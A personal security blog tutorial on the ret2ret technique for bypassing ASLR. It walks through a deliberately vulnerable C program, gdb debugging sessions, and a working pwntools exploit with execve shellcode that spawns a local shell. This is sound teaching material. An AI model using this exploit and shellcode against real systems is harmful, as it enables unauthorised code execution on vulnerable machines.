Ret2Ret


Posted on September, 2017


In order to understand this article you need to understand the buffer overflow article. This article gives a simple trick that will help you to bypass the ASLR. In our case we admit that the stack is executable and the stack protector is disabled.

Here is the vulnerable code: YES the overflow is evident !

#include<stdio.h>
#include<string.h>

void vuln(char *buffer){

	char buf[16];
	memcpy(buf, buffer, strlen(buffer));

}

int main(int argc, char **argv){

	vuln(argv[1]);

return 0;
}

As you can see the overflow happens in the vuln function. It is simple to determine that we need to inject 32 bytes in order to overwrite the EIP register

reglisse@debian:~/Documents/security/ret2ret$ gdb -q vuln
Reading symbols from vuln...done.
(gdb) r $(python -c 'print("A"*28 + "B"*4)')
Starting program: /home/reglisse/Documents/security/ret2ret/vuln $(python -c 'print("A"*28 + "B"*4)')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

0x42424242 corresponds to the "BBBB" string. So we can inject our shellcode in place of the 28 "A", then we must inject a value instead of "BBBB" that will overwrite the EIP and points on our shellcode.

We can examine the stack and the vuln function behaviour just before it returns

(gdb) disas vuln
Dump of assembler code for function vuln:
   0x0804842b <+0>:	push   %ebp
   0x0804842c <+1>:	mov    %esp,%ebp
   0x0804842e <+3>:	sub    $0x18,%esp
   0x08048431 <+6>:	sub    $0xc,%esp
   0x08048434 <+9>:	pushl  0x8(%ebp)
   0x08048437 <+12>:	call   0x8048310 <strlen@plt>
   0x0804843c <+17>:	add    $0x10,%esp
   0x0804843f <+20>:	sub    $0x4,%esp
   0x08048442 <+23>:	push   %eax
   0x08048443 <+24>:	pushl  0x8(%ebp)
   0x08048446 <+27>:	lea    -0x18(%ebp),%eax
   0x08048449 <+30>:	push   %eax
   0x0804844a <+31>:	call   0x80482f0 <memcpy@plt>
   0x0804844f <+36>:	add    $0x10,%esp
   0x08048452 <+39>:	leave
   0x08048453 <+40>:	ret
End of assembler dump.
(gdb) b *vuln+40
Breakpoint 1 at 0x8048453: file vuln.c, line 9.
(gdb) r $(python -c 'print("A"*28 + "B"*4)')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/reglisse/Documents/security/ret2ret/vuln $(python -c 'print("A"*28 + "B"*4)')

Breakpoint 1, 0x08048453 in vuln (buffer=0xffffd5f9 'A' <repeats 28 times>, "BBBB") at vuln.c:9
9	}
(gdb) x/10wx $sp
0xffffd38c:	0x42424242	0xffffd5f9	0xffffd454	0xffffd460
0xffffd39c:	0xf7e403fd	0xf7fb83c4	0xffffd3c0	0x00000000
                    0xffffd3ac:	0xf7e28a63	0x08048490

We can see at the top of the stack the "BBBB" string that will we pushed into the EIP register due to the ret instruction at vuln+40. Remember the "ret" intruction pop the top of the stack in the EIP register and increase the value of the ESP register by 0x4.

After the 0x42424242 there is an interesting value. Let's explore it !

(gdb) x/s 0xffffd5f9
0xffffd5f9:	'A' <repeats 28 times>, "BBBB"
(gdb)

Perfect the next value is the address of our buffer in the stack! So if we replace the "BBBB" string by the address of a "ret" instruction, the vuln function will jump in our shellcode. In fact the first "ret" instruction at find+40 will pop the top value of the stack in the EIP register. We control this value so it will be a the address of a "ret", then the second "ret" will be executed which will pop the new top of the stack (0xffffd390) in the EIP register and BOOM our shellcode will be executed! Here is the exploit in python :

#!/usr/bin/env python

from pwn import *

e = ELF("./vuln")

shellcode= "\x31\xc0\x50\x68\x2f\x2f\x73" \
           "\x68\x68\x2f\x62\x69\x6e\x89" \
           "\xe3\x89\xc1\x89\xc2\xb0\x0b" \
           "\xcd\x80\x31\xc0\x40\xcd\x80"

payload = "\x90"*(28-len(shellcode))
payload += shellcode
payload += p32(0x08048453);

print len(payload)

p = process(["./vuln", payload])
p.interactive()

Here is the demo :)

reglisse@debian:~/Documents/security/ret2ret$ ./exploit.py
[*] '/home/reglisse/Documents/security/ret2ret/vuln'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
32
[+] Starting local process './vuln': pid 12720
[*] Switching to interactive mode
$ ls$
sh: 1: ls$: not found
$ ls
Makefile  core    exploit.py  vuln  vuln.c
$ ls
Makefile  core    exploit.py  vuln  vuln.c
$
$
$
$
Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com